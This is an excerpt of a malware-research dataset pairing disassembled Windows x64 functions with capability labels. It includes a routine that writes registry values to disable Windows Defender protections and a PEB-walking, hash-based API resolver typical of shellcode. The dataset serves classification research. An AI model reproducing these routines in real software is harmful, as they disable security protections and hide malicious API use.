joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005420
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140049010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000544d
xor eax, eax
jmp 0x140005593
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140005487
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140005487
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140005593
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140005586
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400054ca
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400054d9
movsx ecx, dil
jmp 0x14000552d
lea r8, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x51]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x58]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x50]
call qword [rax + 0x38]
test eax, eax
js 0x140005586
cmp eax, 1
jle 0x140005547
cmp eax, 3
jne 0x140005586
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call fcn.140010850
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000558b
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140005574
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call fcn.140011878
cmp rsi, rax
jne 0x140005586
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x14000558b
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400076f0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret

Function at 0x140006b90
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0xf0
mov rax, qword [0x140049010]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call fcn.14000a9c0
mov eax, 1
mov dword [rsp + 0x70], WSAGetLastError
mov dword [rsp + 0xac], eax
xor r9d, r9d
mov word [rsp + 0xb0], ax
xor r8d, r8d
lea rax, [rsp + 0x50]
mov rdx, rbx
mov qword [rsp + 0x48], rax
xor ecx, ecx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140006c35
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140006c37
xor al, al
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1400076f0
add rsp, 0xf0
pop rbx
ret
Function at 0x140006f20
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov rax, rsp
push r14
sub rsp, 0x870
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x140049010]
xor rax, rsp
mov qword [rsp + 0x860], rax
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x60]
call fcn.14000a9c0
mov ecx, 0x20
call fcn.1400079d0
mov rdi, rax
mov qword [rsp + 0x50], rax
xor eax, eax
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rax
lea r14, [rdi + 0x10]
xor ebp, ebp
mov qword [r14], rbp
lea rsi, [rdi + 0x18]
mov qword [rsi], rbp
mov qword [rdi], rbp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov edx, 0x80000000
lea ecx, [rax + rdx]
test edx, ecx
jne 0x140006fbd
cmp eax, 0x80010106
jne 0x14000708a
mov qword [rsp + 0x40], rbp
mov dword [rsp + 0x38], ebp
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 4
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 - 1]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
mov qword [rsp + 0x20], rsi
lea r9, [0x1400306a8]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x140030698]
call qword [sym.imp.ole32.dll_CoCreateInstance]
lea rcx, str.ROOTCIMV2
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x14000710b
mov rcx, qword [rsi]
mov rax, qword [rcx]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
nop
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [rsp + 0x38], ebp
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0xa]
mov rcx, qword [r14]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
lea r9, [rsp + 0x60]
mov rcx, rdi
call fcn.140007120
mov rcx, qword [r14]
test rcx, rcx
je 0x1400070a5
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rsi]
test rcx, rcx
je 0x1400070b3
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400070c1
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, [rsp + 0x60]
lea rcx, str.OperatingSystem_Name:__ls__n
call fcn.140006a60
mov eax, 1
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.1400076f0
lea r11, [rsp + 0x870]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
mov ecx, 0x8007000e
call fcn.140006ee0
int3

Function at 0x14001082c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140010658
Function at 0x100001200
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x100010078]
jne 0x1000049b4
rol rcx, 0x10
test cx, 0xffff
jne 0x1000049b0
ret 0
ror rcx, 0x10
jmp 0x10000b40c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x100010540]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov r11, qword [0x100010638]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.ntdll.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x10000b491
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x100010540]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.ntdll.dll_RtlVirtualUnwind
jmp 0x10000b4b3
mov rax, qword [rsp + 0x88]
mov qword [0x100010638], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1000105d8], rax
mov rax, qword [0x100010638]
mov qword [0x1000104b0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1000105c0], rax
mov dword [0x1000104a0], 0xc0000409
mov dword [0x1000104a4], 1
mov rax, qword [0x100010078]
mov qword [rsp + 0x68], rax
mov rax, qword [0x100010080]
mov qword [rsp + 0x70], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x10000ce58]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x100003434
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x30
movsxd rbx, dword [rsp + 0x60]
mov rdi, r9
mov rsi, r8
lea eax, [rbx + rbx]
mov dword [rsp + 0x60], eax
test rcx, rcx
je 0x10000348f
lea rax, [r11 + 0x28]
xor r8d, r8d
mov qword [r11 - 0x10], rax
mov qword [r11 - 0x18], r9
lea r9, [r11 + 8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10000348f
cmp dword [rsp + 0x40], 1
jne 0x10000348f
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
add r8, r8
call sub.msvcrt.dll_memcpy
nop
jmp 0x10000347f
Function at 0x100003570
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.100003646
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x1000035a7
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x10000359d
push rdx
mov rdx, qword [rdx + 0x20]
push r9
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x10000363b
mov eax, dword [rax + 0x88]
test rax, rax
je 0x10000363b
add rax, rdx
push rax
mov r8d, dword [rax + 0x20]
add r8, rdx
mov ecx, dword [rax + 0x18]
jrcxz 0x10000363a
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x1000035f1
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x1000035e2
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x100003591

Function at 0x100003b60
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x40
and dword [rsp + 0x50], 0
mov ebx, r8d
mov dword [rsp + 0x68], 1
mov dword [rsp + 0x30], 4
test rcx, rcx
je 0x100003bb1
lea rax, [r11 - 0x18]
lea r9, [r11 + 8]
xor r8d, r8d
mov qword [r11 - 0x20], rax
lea rax, [r11 + 0x20]
mov qword [r11 - 0x28], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100003bb1
cmp dword [rsp + 0x50], 4
jne 0x100003bb1
mov ebx, dword [rsp + 0x68]
mov eax, ebx
add rsp, 0x40
pop rbx
ret

Function at 0x100003eb8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x100003eff
cmp rcx, 0xffffffffffffffff
je 0x100003eff
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x100003efd
cmp dword [rcx + 0x3c], edx
jl 0x100003efd
cmp dword [rcx + 0x3c], 0x10000000
jae 0x100003efd
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x100003eff
mov rax, rdx
add rsp, 0x18
ret
Function at 0x100007910
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x460
mov rax, qword [0x100010078]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov rdi, rdx
mov rsi, rcx
lea rbx, [0x100011a40]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
xor r13d, r13d
cmp eax, r13d
je 0x100007a79
lea ecx, [r13 + 1]
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
mov qword [rsp + 0x30], r13
lea r8d, [r13 + 1]
xor r9d, r9d
mov edx, 0x80000000
mov rcx, rdi
mov dword [rsp + 0x28], 0x80
mov r12d, eax
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x100007a70
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x400
mov rcx, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, r13d
jle 0x100007a67
mov edx, dword [rsp + 0x40]
cmp edx, r13d
je 0x100007a67
cmp edx, 1
ja 0x1000079dc
mov eax, r13d
jmp 0x1000079e6
lea rcx, [rsp + 0x50]
call fcn.1000083a4
mov dword [0x100010088], eax
cmp eax, 0xffffffff
je 0x100007a2f
mov rax, qword [rsi]
lea r8, [rsp + 0x48]
lea rdx, [0x10000cce8]
mov rcx, rsi
call qword [rax]
cmp eax, r13d
jl 0x100007a2f
mov rcx, qword [rsp + 0x48]
mov r8d, dword [0x100010088]
mov edx, 1
mov rax, qword [rcx]
call qword [rax + 0xc8]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 0x104
sub rdi, rbx
lea rax, [rcx + 0x7ffffefa]
cmp rax, r13
je 0x100007a5a
movzx eax, word [rdi + rbx]
cmp ax, r13w
je 0x100007a5a
mov word [rbx], ax
add rbx, 2
sub rcx, 1
jne 0x100007a37
cmp rcx, r13
jne 0x100007a63
sub rbx, 2
mov word [rbx], r13w
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
xor eax, eax
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.100001200
mov rbx, qword [rsp + 0x4a0]
add rsp, 0x460
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180001172
Capabilities:
Write file on windows

Disassembly:
jmp 0x18002c490
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x180177081]
call fcn.1800022bb
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x18002c4e7
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x18002c5f3
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x18002c58c
cmp qword [rbp + 0x28], 0
jle 0x18002c58c
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x18002c52c
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.180002167
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x18002c5e2
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x18002c5e2
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1800011e5
Capabilities:
Disable windows defender features via registry on windows
Set registry value

Disassembly:
jmp 0x1800173f0
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x180049018]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x180177095]
call fcn.1800022bb
call fcn.18000202c
movzx eax, al
test eax, eax
jne 0x180017440
xor eax, eax
jmp 0x180017617
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x180017471
xor eax, eax
jmp 0x180017617
mov dword [rbp + 0x24], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableAntiSpyware
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1800174ae
xor eax, eax
jmp 0x180017617
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x48]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Real_Time_Protection
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x1800174fb
xor eax, eax
jmp 0x180017617
mov rax, qword [rbp + 0x48]
mov qword [rbp + 8], rax
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableRealtimeMonitoring
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x180017539
xor eax, eax
jmp 0x180017617
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableBehaviorMonitoring
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x18001756f
xor eax, eax
jmp 0x180017617
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableOnAccessProtection
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1800175a2
xor eax, eax
jmp 0x180017617
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableScanOnRealtimeEnable
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1800175d5
xor eax, eax
jmp 0x180017617
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableIOAVProtection
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x180017608
xor eax, eax
jmp 0x180017617
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x18003aa20]
call fcn.180001f0a
mov rax, rdi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.180001915
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x1800016c7
Capabilities:
Get common file path

Disassembly:
jmp 0x1800202f0
push rbp
push rdi
sub rsp, 0x3e8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x92
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x180049018]
xor rax, rbp
mov qword [rbp + 0x3b8], rax
lea rcx, [0x180177095]
call fcn.1800022bb
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rdx, [rbp + 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x18002035a
mov eax, 5
jmp 0x18002043a
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x318]
call fcn.18000188e
mov qword [rbp + 0x3a8], rax
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x3b0], rax
lea r8, str.edge_84ef1db2_ac78b_4f2.tmp
mov rdx, qword [rbp + 0x3b0]
lea rcx, [rbp + 0x138]
call fcn.1800020fe
nop
lea rcx, [rbp + 0x318]
call fcn.180001352
lea rcx, [rbp + 0x138]
call fcn.180001159
lea rdx, [0x18003f820]
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 0x178], rax
cmp qword [rbp + 0x178], 0
je 0x180020400
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.ucrtbased.dll_fclose]
mov dword [rbp + 0x354], 1
lea rcx, [rbp + 0x138]
call fcn.180001352
mov eax, dword [rbp + 0x354]
jmp 0x18002043a
mov dword [rbp + 0x374], 0
lea rcx, [rbp + 0x138]
call fcn.180001352
mov eax, dword [rbp + 0x374]
jmp 0x18002043a
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x18003acc0]
call fcn.180001f0a
mov rax, rdi
mov rcx, qword [rbp + 0x3b8]
xor rcx, rbp
call fcn.180001915
lea rsp, [rbp + 0x3c8]
pop rdi
pop rbp
ret

Function at 0x180001a6e
Capabilities:
Terminate process

Disassembly:
jmp 0x18002f900
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x180001adc
Capabilities:
Get common file path

Disassembly:
jmp 0x180029250
push rbp
push rdi
sub rsp, 0x4b8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xc6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x180049018]
xor rax, rbp
mov qword [rbp + 0x488], rax
lea rcx, [0x180177095]
call fcn.1800022bb
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rdx, [rbp + 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x1800292ba
mov eax, 5
jmp 0x180029390
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x428]
call fcn.18000188e
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x478]
mov qword [rbp + 0x480], rax
lea r8, str.edge_84ef1db2_ac78b_4f2.tmp
mov rdx, qword [rbp + 0x480]
lea rcx, [rbp + 0x138]
call fcn.1800020fe
nop
lea rcx, [rbp + 0x428]
call fcn.180001352
mov edx, 0x108
lea rcx, [rbp + 0x180]
call fcn.180001767
mov edx, 1
lea rcx, [rbp + 0x180]
call fcn.180001ece
nop
mov r9d, 0x40
mov r8d, 2
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x180]
call fcn.180001d7f
lea rdx, [0x18003f81c]
lea rcx, [rbp + 0x180]
call fcn.1800011db
lea rcx, [rbp + 0x180]
call fcn.1800019a6
mov dword [rbp + 0x464], 0
lea rcx, [rbp + 0x180]
call fcn.1800014ba
nop
lea rcx, [rbp + 0x138]
call fcn.180001352
mov eax, dword [rbp + 0x464]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x18003aa88]
call fcn.180001f0a
mov rax, rdi
mov rcx, qword [rbp + 0x488]
xor rcx, rbp
call fcn.180001915
lea rsp, [rbp + 0x498]
pop rdi
pop rbp
ret
Function at 0x180002270
Capabilities:
Write file on windows

Disassembly:
jmp 0x180017e70
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x208]
mov rax, qword [0x180049018]
xor rax, rbp
mov qword [rbp + 0x1a8], rax
lea rcx, [0x180177081]
call fcn.1800022bb
mov rax, qword [rbp + 0x1d0]
cmp qword [rax + 0x68], 0
je 0x180017ed6
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x180017edd
mov al, 1
jmp 0x18001804f
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x198], rax
call fcn.18000154b
mov dword [rbp + 0x1a0], eax
mov edx, dword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1d0]
call qword [rbp + 0x198]
mov dword [rbp + 0x164], eax
call fcn.18000154b
mov dword [rbp + 0x184], eax
lea rdx, [rbp + 0x164]
lea rcx, [rbp + 0x184]
call fcn.180001f50
movzx eax, al
test eax, eax
je 0x180017f42
xor al, al
jmp 0x18001804f
mov qword [rbp + 8], 0x20
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x198], rax
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1d0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x1a0], eax
cmp dword [rbp + 0x1a0], 0
je 0x180017fb5
cmp dword [rbp + 0x1a0], 1
je 0x180017fc0
cmp dword [rbp + 0x1a0], 3
je 0x18001803e
jmp 0x18001804d
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x180018010
mov rax, qword [rbp + 0x1d0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
